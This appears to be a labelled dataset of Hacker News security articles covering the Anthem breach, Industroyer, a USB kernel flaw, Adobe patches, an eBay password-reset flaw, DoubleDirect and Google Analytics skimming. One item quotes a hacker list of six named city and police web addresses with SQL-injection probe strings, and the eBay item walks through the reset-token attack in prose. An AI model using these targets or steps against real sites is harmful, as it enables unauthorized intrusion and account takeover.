Anthem hack could be due to a vulnerability in the healthcare company, and security experts say the stolen information was vulnerable because Anthem did not take proper precautions, such as protecting the data in its computers and servers through encryption, in the same way it protected medical information that was sent or shared outside of the database.
A spokesperson from Anthem says they do not known who is behind the attack, but a number of security consultants have pointed that in the past Chinese hackers have shown their interest in targeting popular healthcare companies.
It is to be estimated that the malicious hackers may have infiltrated the Anthem's networks by making use of a sophisticated malicious software program that gave them access to the login credential of an Anthem employee, thereby breaching 80 million customers.
2. BEWARE!! E-MAIL SCAMS TARGETING ANTHEM CUSTOMERS
As soon as the story broke, cyber criminals started exploiting the latest Anthem data breach in an attempt to persuade people to sign up for bogus credit protection services and provide personal information about themselves.
The insurer company on Friday warned its customers about an e-mail scam targeting former and current customers whose personal information was suspected to have been stolen in the Anthem breach.
Anthem warned about the email scam in a statement saying that the emails appears to come from Anthem and ask recipients to click on the attached link in order to obtain credit monitoring. Do not click on such links and do not provide any information on any website, Anthem advised its customers.
Don't expect any email warnings from the company because the Anthem hack is much severe than what it appears. To avoid fallout from the hackers, Anthem said it will contact its customers only via mail delivered by the U.S. Postal Service. The company will not call members regarding the breach and will not ask for any credit card information or Social Security numbers over the phone or via an email.
3. THIS DATA BREACH COULD LEADS TO OTHER BREACHES
Anthem claimed that the hackers didn't appear to have stolen customers' medical information. However, medical identification numbers were taken, along with Social Security numbers, addresses and email addresses, which could be by cyber crooks used for medical fraud.
Medical identity theft has become a booming business, according to security experts, who warned that the hackers' succeeded in penetrating Anthem's computer systems could use the stolen information to target other health care companies.
Over 90 percent of healthcare organizations reported they have had at least one data breach over the last two years, according to a survey of health care providers published last year by the Ponemon Institute, a privacy and data protection research firm.
4. CALIFORNIA CUSTOMER SUES ANTHEM
A California woman on Thursday accused Anthem of failing to properly secure and protect its customers' personal information, including usernames, birth dates, addresses and social security numbers. She seeks to represent all other customers who have been affected by this massive data breach.
"It appears that Anthem's security system did not involve encrypting Social Security numbers and birth dates –- two of the most valuable pieces of information that a thief can have," Susan Morris said in her complaint filed in federal court in Santa Ana, California.
Among other claims, Morris seeks damages for violations of California's unfair competition and data breach laws, Bloomberg reported. The case is Morris vs. Anthem Inc., 15-cv-00196, U.S. District Court, Central District of California (Santa Ana).
5. DEMAND OF LAWS TO BETTER PREVENT BREACHES
After falling for massive data breaches like Target, Home Depot,...and now Anthem hack, there is a need for more systemic changes in the laws in an attempt to prevent big hacks after hackers hit Anthem, the nation's second-largest health insurer.
"We're going to need federal legislation to address security issues to keep these huge hacks from happening," says Waldo Jaquith, who leads U.S. Open Data, which works with the public sector and private companies to better understand, store and share data.
Jaquith suggests setting minimal security requirements into the law — such as requirement of much stricter passwords and customer authentication. But, until there are more systemic changes, consumers are left quite helpless.
6. HOW TO PROTECT YOURSELF AFTER BREACH
The hack affected a wide array of Anthem brands, including Anthem Blue Cross; Anthem Blue Cross and Blue Shield; Blue Cross and Blue Shield of Georgia; Empire Blue Cross and Blue Shield; Amerigroup; Caremore; Unicare; Healthlink; and DeCare. So, if you have one of these plan, your personal data may have been taken by cyber crooks.
If you are a one of those affected customers, you will have to remain vigilant against fraud for the rest of your lives, because the risk of identity theft isn't short term, like in case of credit cards fraud. You may follow the following steps to protect yourself:
Monitor Your Accounts - Watch out if someone using your information don't ever try to take over or transfer money out of your existing accounts. Don't forget that thieves with stolen info can get through your security questions, including the last 4 digits of your social and street address. Also, watch for any unauthorized activity or transfers on your current financial accounts, those affected in the breach.
Sign Up for Credit Alerts and Identity Theft Protection for Free - The insurer company is offering free credit monitoring and identity protection services to all of its affected customers. So, you must sign up now, as these services will keep an eye on every unauthorised activities and send you alerts when someone else tries to use your identity. You can get further information on these measures at AnthemFacts.com.
File Your Taxes Early - According to Paige Hanson, Educational Programs Manager for LifeLock, an identity theft monitoring service, it only takes two pieces of information for a cyber thief to hook your tax refund by filing your taxes early and claiming it for themselves, and the data in the breach contained both. So, in order to avoid any such problems, file your taxes as early as possible.
Get Password Manager and Use Two Factor Authentication - The advice is common for all affected by data breaches — change your password and use best password manager to make sure you use a complex one, and don't use the same password or username across various websites. Also activate two-factor authentication for an extra layer of protection beyond your password.
Stay Vigilant - The last and foremost thing to protect against the breach is to stay vigilant, as nobody knows when or where your stolen identities will be used. So, affected consumers will simply have to stay mindful forever.
"Your Social Security number is not going to change," said Gorup. "This is going to stick with you for life."
In case for any queries about Anthem data breach, the company has set up a dedicated website and a toll-free number (1-877-263-7995) for customers to access updates and ask questions related to the hack.
| Cyber_Attack |
Dangerous Malware Discovered that Can Take Down Electric Power Grids | https://thehackernews.com/2017/06/electric-power-grid-malware.html | Last December, a cyber attack on Ukrainian Electric power grid caused the power outage in the northern part of Kiev — the country's capital — and surrounding areas, causing a blackout for tens of thousands of citizens for an hour and fifteen minutes around midnight.
Now, security researchers have discovered the culprit behind those cyber attacks on the Ukrainian industrial control systems.
Slovakia-based security software maker ESET and US critical infrastructure security firm Dragos Inc. say they have discovered a new dangerous piece of malware in the wild that targets critical industrial control systems and is capable of causing blackouts.
Dubbed "Industroyer" or "CrashOverRide," the grid-sabotaging malware was likely to be used in the December 2016 cyber attack against Ukrainian electric utility Ukrenergo, which the security firms say represents a dangerous advancement in critical infrastructure hacking.
According to the researchers, CrashOverRide is the biggest threat designed to disrupt industrial control systems, after Stuxnet — the first malware allegedly developed by the US and Israel to sabotage the Iranian nuclear facilities in 2009.
This Malware Does Not Exploit Any Software Flaw
Unlike Stuxnet worm, the CrashOverRide malware does not exploit any "zero-day" software vulnerabilities to do its malicious activities; instead, it relies on four industrial communication protocols used worldwide in power supply infrastructure, transportation control systems, and other critical infrastructure systems.
The CrashOverRide malware can control electricity substation' switches and circuit breakers, designed decades ago, allowing an attacker to simply turning off power distribution, cascading failures and causing more severe damage to equipment.
Industroyer malware is a backdoor that first installs four payload components to take control of switches and circuit breakers; and then connects to a remote command-and-control server to receive commands from the attackers.
"Industroyer payloads show the authors' in-depth knowledge and understanding of industrial control systems." ESET researchers explain.
"The malware contains a few more features that are designed to enable it to remain under the radar, to ensure the malware's persistence, and to wipe all traces of itself after it has done its job."
Since there have been four malware discovered in the wild to date that target industrial control systems, including Stuxnet, Havex, BlackEnergy, and CrashOverRide; Stuxnet and CrashOverRide were designed only for sabotage, while BlackEnergy and Havex were meant for conducting espionage.
"The functionality in the CRASHOVERRIDE framework serves no espionage purpose and the only real feature of the malware is for attacks which would lead to electric outages," reads Dragos analysis [PDF] of the malware.
Malware Can Cause Wider and Longer-Lasting Blackouts
The analysis of the malware suggests CrashOverRide could cause power outages far more widespread, sophisticated and longer lasting than the one Ukraine suffered last December.
Dragos CEO Robert M. Lee said the CrashOverRide malware is capable of causing power outages that can last up to a few days in portions of a country's electric grid, but it is not capable enough to bring down the entire grid of a nation.
The malware includes interchangeable, plug-in components that could allow CrashOverRide to be altered to different electric power utilities or even launched simultaneous attacks on multiple targets.
"CrashOverRide is not unique to any particular vendor or configuration and instead leverages knowledge of grid operations and network communications to cause impact; in that way, it can be immediately re-purposed in Europe and portions of the Middle East and Asia," Dragos' paper reads.
"CrashOverRide is extensible and with a small amount of tailoring such as the inclusion of a DNP3 [Distributed Network Protocol 3] protocol stack would also be effective in the North American grid."
According to the researchers, the malware can be modified to target other types of critical infrastructure, like transportation, gas lines, or water facilities, as well with additional protocol modules.
The security firms have already alerted government authorities and power grid companies about the dangerous threat, along with some advises that could help them to defend against this threat.
The security firms already argued that the 2016 power outage was likely caused by the same group of hackers who caused 2015 blackout — Sandworm, a state-sponsored hacking group believed to be from Russia.
Dragos tracked the perpetrators behind CrashOverRide as Electrum and assessed "with high confidence through confidential sources that Electrum has direct ties to the Sandworm team."
The security firms have already alerted government authorities and power grid companies about the dangerous threat, along with some advises that could help them to defend against this threat.
| Malware |
Microsoft flaw allows USB loaded with payload to bypass security controls | https://thehackernews.com/2013/03/microsoft-flaw-allows-usb-loaded-with.html | During March Patch Tuesday of 2013, Microsoft released seven new security bulletins, with four rated as critical, and others as Important. Most interesting one was MS13-027, which is rated as "important" because the attack requires physical access to the vulnerable machine.
This flaw allows anyone with a USB thumb drive loaded with the payload to bypass security controls and access a vulnerable system even if AutoRun is disabled, and the screen is locked. Flaw exposes your Windows PCs to major risk. If you remember Stuxnet, worm was injected to Iran's nuclear program system using USB thumb drive.
Windows typically discovers USB devices when they are inserted or when they change power sources (if they switch from plugged-in power to being powered off of the USB connection itself).
To exploit the vulnerability an attacker could add a maliciously formatted USB device to the system. When the Windows USB device drivers enumerate the device, parsing a specially crafted descriptor, the attacker could cause the system to execute malicious code in the context of the Windows kernel.
Because the vulnerability is triggered during device enumeration, no user intervention is required. In fact, the vulnerability can be triggered when the workstation is locked or when no user is logged in, making this an un-authenticated elevation of privilege for an attacker with casual physical access to the machine.
Microsoft admits the flaw could "open additional avenues of exploitation that do not require direct physical access to the system," once the USB-based exploit is successful.
The vulnerabilities addressed by Microsoft do not include those exploited by security researchers at the recent Pwn2Own hacking competition at the CanSecWest Conference in Vancouver.
| Vulnerability |
Adobe Releases Security Patch Updates For 112 Vulnerabilities | https://thehackernews.com/2018/07/adobe-patch-update-july.html | Adobe has released security patches for a total 112 vulnerabilities in its products, most of which have a higher risk of being exploited.
The vulnerabilities addressed in this month's patch Tuesday affect Adobe Flash Player, Adobe Experience Manager, Adobe Connect, Adobe Acrobat, and Reader.
None of the security vulnerabilities patched this month were either publicly disclosed or found being actively exploited in the wild.
Adobe Flash Player (For Desktops and Browsers)
Security updates include patches for two vulnerabilities in Adobe Flash Player for various platforms and application, as listed below.
One of which has been rated critical (CVE-2018-5007), and successful exploitation of this "type confusion" flaw could allow an attacker to execute arbitrary code on the targeted system in the context of the current user.
This flaw was discovered and reported to Adobe by willJ of Tencent PC Manager working with Trend Micro's Zero Day Initiative.
Without revealing technical details of any flaw, Adobe said the second vulnerability, which has been rated important by the company, could allow an attacker to retrieve sensitive information.
Affected Version
Flash Player v30.0.0.113 and earlier versions
Affected Platforms and Applications
Windows
macOS
Linux
Chrome OS
Google Chrome
Microsoft IE 11
Microsoft Edge
Adobe Acrobat and Reader (Windows and macOS)
The company has patched a total of 104 security vulnerabilities in Adobe Acrobat and Reader, of which 51 are rated as critical and rest are important in severity.
Both products include dozens of critical heap overflow, use-after-free, out-of-bounds write, type confusion, untrusted pointer dereference and buffer errors vulnerabilities which could allow an attacker to execute arbitrary code on the targeted system in the context of the current user.
These vulnerabilities were reported by security researchers from various security firms, including Palo Alto Networks, Trend Micro Zero Day Initiative, Tencent, Qihoo 360, CheckPoint, Cisco Talos, Kaspersky Lab, Xuanwu Lab and Vulcan Team.
Affected Version
Continuous Track—2018.011.20040 and earlier versions
Classic 2017 Track—2017.011.30080 and earlier versions
Classic 2015 Track—2015.006.30418 and earlier versions
Affected Platforms
Microsoft Windows
Apple macOS
Adobe Experience Manager (All Platforms)
Adobe has addressed three important Server-Side Request Forgery (SSRF) vulnerabilities in its Experience Manager, an enterprise content management solution, which could result in sensitive information disclosure.
Two of these security vulnerabilities (CVE-2018-5006, CVE-2018-12809) were discovered by Russian application security researcher Mikhail Egorov.
Affected Version
AEM v6.4, 6.3, 6.2, 6.1 and 6.0
The vulnerabilities affect Adobe Experience Manager for all platforms, and users are recommended to download the updated version from here.
Adobe Connect (All Platforms)
Adobe has patched three security vulnerabilities in Adobe Connect—a software used to create information and general presentations and web conferencing—two of which, rated important, could allow an attacker to bypass the authentication, hijack web sessions and steal sensitive information.
The third flaw, rated moderate, in Adobe Connect is a privilege escalation issue caused due to an insecure loading of a library.
Affected Version
Adobe Connect v9.7.5 and earlier for all platforms
Adobe recommends end users and administrators to install the latest security updates as soon as possible.
| Vulnerability |
Hacking any eBay Account in Just 1 Minute | https://thehackernews.com/2014/09/hacking-ebay-accounts.html | Four month ago, a massive data breach on the eBay website affected 145 million registered users worldwide after its database was compromised. Meanwhile, another critical vulnerability on the eBay website was reported, allowing an attacker to hijack millions of user accounts in bulk.
An Egyptian security researcher 'Yasser H. Ali' informed The Hacker News about this vulnerability 4 months ago, which could be used by the cyber criminals in the targeted attacks. At that time, Mr.Yasser secretly demonstrated the vulnerability step-by-step to 'The Hacker News' team and we confirmed - IT WORKS.
Since it was not addressed by the eBay security team, we kept the technical details of this vulnerability hidden from our readers. But, as we promised to share the technical details of this interesting flaw, once after eBay team patch it. So, Here we go!
The vulnerability Yasser found could allow you to Reset Password of any eBay user account and that too without any user interaction or dependency. The only thing you required is the login email ID or username of the victim you want to hack.
BUT HOW TO HACK ANY eBAY ACCOUNT?
Basically to recover the forgotten password, user is first redirected to a password reset page, where eBay page first generates a random code value as HTML form parameter "reqinput", which is visible to the attacker as well using Browser's inspect element tool.
After the user provides his/her email id and presses the submit button, eBay generates a second random code, which is unknown to anybody else except the users themselves, and send the code along with a password reset link to the eBay user with the registered email address.
Once the user clicks on the password reset link provided in the email, user will be redirected to an eBay page with new password set option, where the user only needs to enter a new password twice and has to submit it, in order to reset his eBay account password.
HERE THE VULNERABILITY RESIDES
Yasser noticed that instead of using the secret code, the new password HTTP request sends the same respective "reqinput" value that has been generated in the first request, when the user clicked on reset password and which is known to the attacker, as shown:
As Proof-of-Concept, the researcher targeted one of our team members' temporary account with email address [email protected]. First he made a password reset request at eBay for the targeted email ID and saved the generated 'reqinput' value from the inspect element.
Then he directly crafted a new HTTP request to the eBay server at password reset form action with the known "reqinput" value, new password, confirm password and password strength parameters.
BANG!! He successfully able to reset our eBay account password without our team member's interaction within a while.
LARGE SCALE AUTOMATED ATTACK
A sophisticated hacker could had launched an automated mass password reset request attack for all those email accounts which were leaked in previously reported massive eBay data breach.
The company has already patched the vulnerability after Yasser responsibly disclosed the flaw to the eBay security team. But, this 4 months delay in delivering the patch could have compromised millions of eBay users' accounts in a targeted attack, even if you had changed your password after the data breach.
| Vulnerability |
DoubleDirect MitM Attack Targets Android, iOS and OS X Users | https://thehackernews.com/2014/11/doubledirect-mitm-attack-targets_22.html | Security researchers have discovered a new type of "Man-in-the-Middle" (MitM) attack in the wild targeting smartphone and tablets users on devices running either iOS or Android around the world.
The MitM attack, dubbed DoubleDirect, enables an attacker to redirect a victim's traffic of major websites such as Google, Facebook and Twitter to a device controlled by the attacker. Once done, cyber crooks can steal victims' valuable personal data, such as email IDs, login credentials and banking information as well as can deliver malware to the targeted mobile device.
San Francisco-based mobile security firm Zimperium detailed the threat in a Thursday blog post, revealing that the DoubleDirect technique is being used by attackers in the wild in attacks against the users of web giants including Google, Facebook, Hotmail, Live.com and Twitter, across 31 countries, including the U.S., the U.K. and Canada.
DoubleDirect makes use of ICMP (Internet Control Message Protocol) redirect packets in order to change the routing tables of a host — used by routers to announce a machine of a better route for a certain destination.
In addition to iOS and Android devices, DoubleDirect potentially targets Mac OSX users as well. However, users of Windows and Linux are immune to the attack because their operating systems don't accept ICMP re-direction packets that carry the malicious traffic.
"An attacker can also use ICMP Redirect packets to alter the routing tables on the victim host, causing the traffic to flow via an arbitrary network path for a particular IP," Zimperium warned. "As a result, the attacker can launch a MitM attack, redirecting the victim's traffic to his device."
"Once redirected, the attacker can compromise the mobile device by chaining the attack with an additional Client Side vulnerability (e.g.: browser vulnerability), and in turn, provide an attack with access to the corporate network."
The security firm tested the attack and it works on the latest versions of iOS, including version 8.1.1; most Android devices, including Nexus 5 and Lollipop; and also on OS X Yosemite. The firm also showed users how to manually disable ICMP Redirect on their Macs to remediate the issue.
"Zimperium is releasing this information at this time to increase awareness as some operating system vendors have yet to implement protection at this point from ICMP Redirect attacks as there are attacks in-the-wild," the post reads.
The company has provided a complete Proof-of-Concept (PoC) for the DoubleDirect Attack, users can downloaded it from the web. It demonstrates the possibility of a full-duplex ICMP redirect attack by predicting the IP addresses the victim tries to connect to, by sniffing the DNS traffic of the target; the next step consists of sending an ICMP redirect packet to all IP addresses.
| Vulnerability |
Albania is the most Malware infected Nation | https://thehackernews.com/2012/03/albania-is-most-malware-infected-nation.html | Albania is the most Malware infected Nation
Researchers at Security firms Norman and Microsoft Analyse data from their security products that Albania is the most Malware infected Nation, with 65% of scanned computers reporting infections. Rest Most Infected Countries are South Korea, Guatemala, Vietnam, Indonesia, Argentina, Thailand, Georgia, the Philippines, Algeria, Venezuela, Lithuania and Pakistan according to Norman Report.
Where as Microsoft also shows such reports that the most common category in Albania in Second quarter of 2011 was Worms, which affected 43.7 percent of all computers cleaned in Albania, down from 44.9 percent in First quarter of 2011.
The most common threat family in Albania in Second quarter of 2011 was Win32/Autorun, which affected 25.2 percent of computers cleaned in Albania. Win32/Autorun is a family of worms that spreads by copying itself to the mapped drives of an infected computer. The mapped drives may include network or removable drives.
The following table lists the top botnets actively sending spam from Albania. The top 3 spambots hosted in Albania during 2011:
Botnet
% of all botnet IP addresses in Albania
1
Win32/Pramro
30.1%
2
Win32/Lethic
27.5%
3
Win32/Cutwail
16.8%
Other Reports shows that Finland has the lowest rate of infection in the world, with 24.31% of scanned computers containing a malware, such as a virus, spyware or trojan.
| Malware |
miniFlame - A New cyber espionage malware discovered | https://thehackernews.com/2012/10/miniflame-new-cyber-espionage-malware.html | Kaspersky has discovered new malware dubbed 'miniFlame', cyber espionage software directly linked to Flame. This new nation-state espionage malware that has ties to two previous espionage tools known as Flame and Gauss, and that appears to be a "high-precision, surgical attack tool" targeting victims in Lebanon, Iran and elsewhere.
miniFlame, also known as SPE, was found by Kaspersky Lab's experts in July 2012, and was originally identified as a Flame module. But originally MiniFlame seems to be used to gain control of and obtain increased spying capability over select computers originally infected by the Flame and Gauss spyware.
According to Kaspersky, versions of miniFlame were created in 2010 and 2011, and some of the six variants are still considered active. It is expected that development of the malicious program could have started as far back as 2007. "MiniFlame is a high precision attack tool," said Alexander Gostev, Chief Security Expert, Kaspersky Lab, describing the malware. "Most likely it is a targeted cyber weapon used in what can be defined as the second wave of a cyberattack."
Main results of miniFlame analyses:
miniFlame aka SPE, based on the same architectural platform as Flame. It can run as a standalone program or cyber espionage as an internal component of Flame and Gauss.
The tool of cyber operates via a backdoor ("backdoor") designed to steal data and give direct access to infected systems.
Development miniFlame could have started as early as 2007 and continued until the end of 2011. Many variants appear to have been created. Today, Kaspersky Lab has identified six key corresponding to two generations 4.x and 5.x.
Unlike Flame or Gauss, responsible for a large number of infections, due to the miniFlame is much lower. According to the data from Kaspersky Lab, it would be limited to 10 or 20 machines. The total number of infections globally is estimated at 50 or 60.
The small number of infections combined with flight capabilities miniFlame information and the flexibility of its design indicates that it has been used for highly targeted cyber espionage operations and has most likely been deployed in machines already infected with Flame or Gauss.
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| Malware |
Secunia launches Secunia Vulnerability Intelligence Manager 4.0 | https://thehackernews.com/2012/10/secunia-launches-secunia-vulnerability.html | 78% of vulnerabilities are found in third-party programs. Security teams cannot monitor all of them manually or determine which ones are critical to their organization.
Secunia, the leading provider of IT security solutions that enables businesses and private individuals to manage and control vulnerability threats, today announced the general availability of the new version of Secunia's Vulnerability Intelligence Manager, the VIM 4.0.
The Secunia VIM 4.0 is the latest evolutionary step in the technology Secunia has developed to help organizations handle vulnerabilities and protect business critical information and assets against potential attacks. Because it covers more than 40,000 software systems and applications, the VIM 4.0 solution provides the most comprehensive intelligence about software vulnerabilities available to organizations, ensuring that all security threats can be dealt with before the IT infrastructure is compromised by cybercriminals .
" We're very happy with this new version of the VIM. The acclaimed quality of the intelligence delivered by Secunia's Research Team is the backbone of the solution, and that intelligence becomes pure power in the hands of the security teams in the organizations; it provides them with the relevant intelligence so they can target their efforts and deal with the vulnerabilities that are critical to their business, instead of the teams spending their time frantically trying to figure out which issues to address in what order. That's the assurance and focus the VIM provides: because of the accuracy of the intelligence, the real-time delivery and the reports, filters and settings, security departments are able to distribute the intelligence to the appropriate stakeholders within the organisation and to set up effective security processes," said Morten R. Stengaard, Director of Product Management and Quality Assurance at Secunia.
Meeting compliance requirements
Since Secunia started 10 years ago, the in-house Research Team has delivered real-time intelligence customized to the needs of the individual company. The solution enables organizations to provide external auditors with exhaustive information on how compliance policies are met.
"This is particularly important to corporations and organizations in the US, who have to meet exacting standards to keep their IT infrastructure secure, and who risk heavy fines if they do not meet the compliancy requirements that apply to their particular industry," explained Morten R. Stengaard.
"The Secunia VIM delivers a comprehensive solution to automate the process of compliance with guidelines such as these: With the vulnerability intelligence manager, organisations can easily formalize and automate the tasks that are typically weak links in compliance: assessment, remediation, approval workflow, exception management, and consolidated reporting. The Secunia VIM helps organisations tackle those difficult problems, while also easing the task of defining and managing policies, mapping policies to controls, and collecting/archiving evidence of compliance," said Morten R. Stengaard.
Flaws give access
As cybercrime against corporations, organizations and government institutions is slowly becoming a recognized security threat, the importance of managing software vulnerabilities is an aspect of security that is gradually receiving attention in organizations around the world.
If there are flaws in the software, cybercriminals have access to the entire infrastructure of any organization. And modern organizations use a lot of different software programs: it is a common misconception to think that only the organization-wide systems purchased, implemented and maintained by company IT departments pose a risk. Literally any software flaw in any program or app used in any endpoint related to the organization represents a security risk – including company laptops used both professionally and privately by employees.
Effectively, any program downloaded to an employee laptop is a threat to the organization's security. Consequently, it is not enough to manage the software systems that make up the organisation's official software infrastructure.
"And it is not enough to wait for official software patches from Microsoft" warns Morten R. Stengaard: "As only 22% of vulnerabilities affect Microsoft programs and operating systems, it is critical to have the correct vulnerability intelligence to spot the vulnerabilities in the remaining 78% - the third-party programs. And the threat to third-party programs is on the increase: the share of vulnerabilities in these has risen from 45% to 78% from 2006 to 2011."
Recent research from information technology research company Gartner, emphasizes the risk software vulnerabilities pose:
Through 2015, 80% of successful attacks will exploit well-known vulnerabilities and be detectable via security monitoring. […] Applications are the gateways to the data that is the focus of a targeted attack. Dynamic application security testing (DAST) tools can be used to scan productions applications to find vulnerabilities. When a vulnerability is present on a running application, production data is at risk, and remediation cycle times are long typically taking multiple months.
Key benefits of the Secunia VIM include:
Reliable and accurate Vulnerability Intelligence at your fingertips
Personalised alerts via email and SMS
Comprehensive XML feeds
Comprehensive Vulnerability Management tool
Threat intelligence covering more than 40,000 systems and applications
What's new in VIM 4.0:
New and improved user interface
Integration with the Secunia CSI
Improved assets matching
Improved data export
Activity log
To request a free trial, click here.
| Vulnerability |
HTTPS SSL encryption Vulnerable To Crypto Attack | https://thehackernews.com/2011/09/https-ssl-encryption-vulnerable-to.html | HTTPS SSL encryption Vulnerable To Crypto Attack
The secure sockets layer (SSL) and transport layer security (TLS) encryption protocol, used by millions of websites to secure Web communications via HTTPS, is vulnerable to being decrypted by attackers.
Researchers have discovered a serious weakness in virtually all websites protected by the secure sockets layer protocol that allows attackers to silently decrypt data that's passing between a webserver and an end-user browser.
Juliano Rizzo and Thai Duong say the vulnerability compromises TLS (Transport Layer Security) 1.0, the encryption mechanism that secures Web sites accessed using HTTPS (Secure Hypertext Transfer Protocol). TLS is the successor to SSL (Secure Sockets Layer) and is widely used at financial sites. Companies, including Google, Facebook, and Twitter, are urging the wider use of TLS on the Web.
The exploit – demonstrated with a tool called BEAST – targets a flaw that could leave transactions open to attack and is being taken seriously by online payments firms."We have got a team of security people and it is always working on updates and upgrades and they are looking into this already," a PayPal spokesperson told PC Pro. "The details are still to be revealed, but the security people are trying to get a headstart on making sure this is kept secure."
BEAST requires attackers to gain a man-in-the-middle position. Most of the time this means that they need to be on the same network as their targets so they can intercept browser requests.BEAST has two components. One contains code that must be loaded into the victim's web browser and the second one captures and decrypts HTTPS session cookies. The researchers claim that they can decrypt any secure session cookie in five minutes on average.
| Vulnerability |
Hackers Compromise Microsoft Support Agent to Access Outlook Email Accounts | https://thehackernews.com/2019/04/microsoft-outlook-email-hack.html | If you have an account with Microsoft Outlook email service, there is a possibility that your account information has been compromised by an unknown hacker or group of hackers, Microsoft confirmed The Hacker News.
Earlier this year, hackers managed to breach Microsoft's customer support portal and access information related to some email accounts registered with the company's Outlook service.
Yesterday, a user on Reddit publicly posted a screenshot of an email which he received from Microsoft warning that unknown attackers were able to access some information of his OutLook account between 1 January 2019 and 28 March 2019.
Another user on Reddit also confirmed that he/she too received the same email from Microsoft.
According to the incident notification email, as shown below, attackers were able to compromise credentials for one of Microsoft's customer support agents and used it to unauthorisedly access some information related to the affected accounts, but not the content of the emails or attachments.
The information that a Microsoft's customer support agent can view is limited to account email addresses, folder names, subject lines of emails, and the name of other email addresses you communicate with.
"Our data indicates that account-related information (but not the content of any e-mails) could have been viewed, but Microsoft has no indication why that information was viewed or how it may have been used," the company says in the email.
It should be noted that since attackers had an alternative window, i.e., access to customer support account, to partially look inside the affected email accounts without actually having to log into each account, even the two-factor authentication was not able to prevent users' accounts.
At this time, it is not clear how the attackers were able to compromise Microsoft employee, but the tech company confirmed that it has now revoked the stolen credentials and started notifying all affected customers.
In an email to The Hacker News, Microsoft verified the authenticity of the notification email and confirmed the breach saying:
"We addressed this scheme, which affected a limited subset of consumer accounts, by disabling the compromised credentials and blocking the perpetrators' access."
However, Microsoft did not disclose the total number of accounts affected by the incident.
Although the breach did not directly impact your email login credentials, Microsoft recommended users to still consider resetting passwords for their Microsoft accounts just to be on the safer side.
"Microsoft regrets any inconvenience caused by this issue," the company says. "Please be assured that Microsoft takes data protection very seriously and has engaged its internal security and privacy teams in the investigation and resolution of the issue, as well as. additional hardening of systems and processes to prevent such recurrence."
| Data_Breaches |
TeaMp0isoN releases list of vulnerable police web sites | https://thehackernews.com/2011/10/teamp0ison-releases-list-of-vulnerable.html | TeaMp0isoN releases list of vulnerable police web sites
TeaMp0isoN group of hackers published a list of vulnerable law enforcement authorities websites that can be hacked using MSAccess SQL injection attacks. Member from TeaMp0isoN with codename "_f0rsaken" create a pastebin note with following message for Police and People of World :
I do not like the Police. You beat on innocent and peaceful protestors for no reason other than that you want to protect your friends at the banks and yourselves to make money. It's all about money and the Police aiming to keep their job. Why did I decide on not releasing the databases? I want you to see for yourself how vulnerable these people really are and for you all to get an understanding on why I didn't release.
In this release I present you vulnerable websites that are open to MSAccess SQL injection. Below are official city websites that also the Police of that said area uses for their updates. Of course with all the money they make they couldn't spend a dime to invest into their security to make sure no breaches are bound to happen, they let petty vulnerabilities that still exist on their websites stay there with no fix.
Whatever you are storing fellow below cities, which I've seen from table names it isn't good, you better hope the rest of the Community who is smart doesn't find out what's to see ;-) You should of expected me a long time ago, now the realness is setting free the cage.
The SIX vulnerable sites as listed below
https://www.ci.vallejo.ca.us/GovSite/default.asp?serviceID1=79' (City of Vallejo, California Website)
https://holmesbeachfl.org/Cities/COHB/default.asp?section=3'(City of Holmes Beach, Florida Website)
https://www.cityofkaukauna.com/announcements/announcementdetail.asp?DeptID=1' (City of Kaukauna, Wisconsin Website)
https://www.ci.kaukauna.wi.us/departments/depthome.asp?DeptID=12'(City of Kaukauna, Wisconsin Website)
https://www.romenewyork.com/organization.asp?orgid=63' (City of Rome, New York Website)
https://www.eastgreenwichri.com/matriarch/MultiPiecePage.asp?PageID=84' (Town of East Greenwich, Rhode Island Website)
TeaMp0isoN Invites hackers to Use these vulnerabilities for destroying Police sites.
| Vulnerability |
Hackers Using Google Analytics to Bypass Web Security and Steal Credit Cards | https://thehackernews.com/2020/06/google-analytics-hacking.html | Researchers reported on Monday that hackers are now exploiting Google's Analytics service to stealthily pilfer credit card information from infected e-commerce sites.
According to several independent reports from PerimeterX, Kaspersky, and Sansec, threat actors are now injecting data-stealing code on the compromised websites in combination with tracking code generated by Google Analytics for their own account, letting them exfiltrate payment information entered by users even in conditions where content security policies are enforced for maximum web security.
"Attackers injected malicious code into sites, which collected all the data entered by users and then sent it via Analytics," Kaspersky said in a report published yesterday. "As a result, the attackers could access the stolen data in their Google Analytics account."
The cybersecurity firm said it found about two dozen infected websites across Europe and North and South America that specialized in selling digital equipment, cosmetics, food products, and spare parts.
Bypassing Content Security Policy
The attack hinges on the premise that e-commerce websites using Google's web analytics service for tracking visitors have whitelisted the associated domains in their content security policy (CSP).
CSP is an added security measure that helps detect and mitigate threats stemming from cross-site scripting vulnerabilities and other forms of code injection attacks, including those embraced by various Magecart groups.
The security feature allows webmasters to define a set of domains the web browser should be allowed to interact with for a specific URL, thereby preventing the execution of untrusted code.
"The source of the problem is that the CSP rule system isn't granular enough," PerimeterX's VP of research Amir Shaked said. "Recognizing and stopping the above malicious JavaScript request requires advanced visibility solutions that can detect the access and exfiltration of sensitive user data (in this case, the user's email address and password)."
To harvest data using this technique, all that is needed is a small piece of JavaScript code that transmits the collected details like credentials and payment information through an event and other parameters that Google Analytics uses to uniquely identify different actions performed on a site.
"Administrators write *.google-analytics.com into the Content-Security-Policy header (used for listing resources from which third-party code can be downloaded), allowing the service to collect data. What's more, the attack can be implemented without downloading code from external sources," Kaspersky noted.
To make the attacks more covert, the attackers also ascertain if developer mode — a feature that's often used to spot network requests and security errors, among other things — is enabled in the visitor's browser, and proceed only if the result of that check is negative.
A "Novel" Campaign Since March
In a separate report released yesterday, Netherlands-based Sansec, which tracks digital skimming attacks, uncovered a similar campaign since March 17 that delivered the malicious code on several stores using a JavaScript code that's hosted on Google's Firebase.
For obfuscation, the actor behind the operation created a temporary iFrame to load an attacker-controlled Google Analytics account. The credit card data entered on payment forms is then encrypted and sent to the analytics console from where it's recovered using the encryption key earlier used.
Given the widespread use of Google Analytics in these attacks, countermeasures like CSP will not work if attackers take advantage of an already allowed domain to hijack sensitive information.
"A possible solution would come from adaptive URLs, adding the ID as part of the URL or subdomain to allow admins to set CSP rules that restrict data exfiltration to other accounts," Shaked concluded.
"A more granular future direction for strengthening CSP direction to consider as part of the CSP standard is XHR proxy enforcement. This will essentially create a client-side WAF that can enforce a policy on where specific data field[s] are allowed to be transmitted."
As a customer, unfortunately, there isn't much you can do to safeguard yourself from formjacking attacks. Turning on developer mode in browsers can help when making online purchases.
But it's essential that you watch out for any instances of unauthorized purchases or identity theft.
| Data_Breaches |
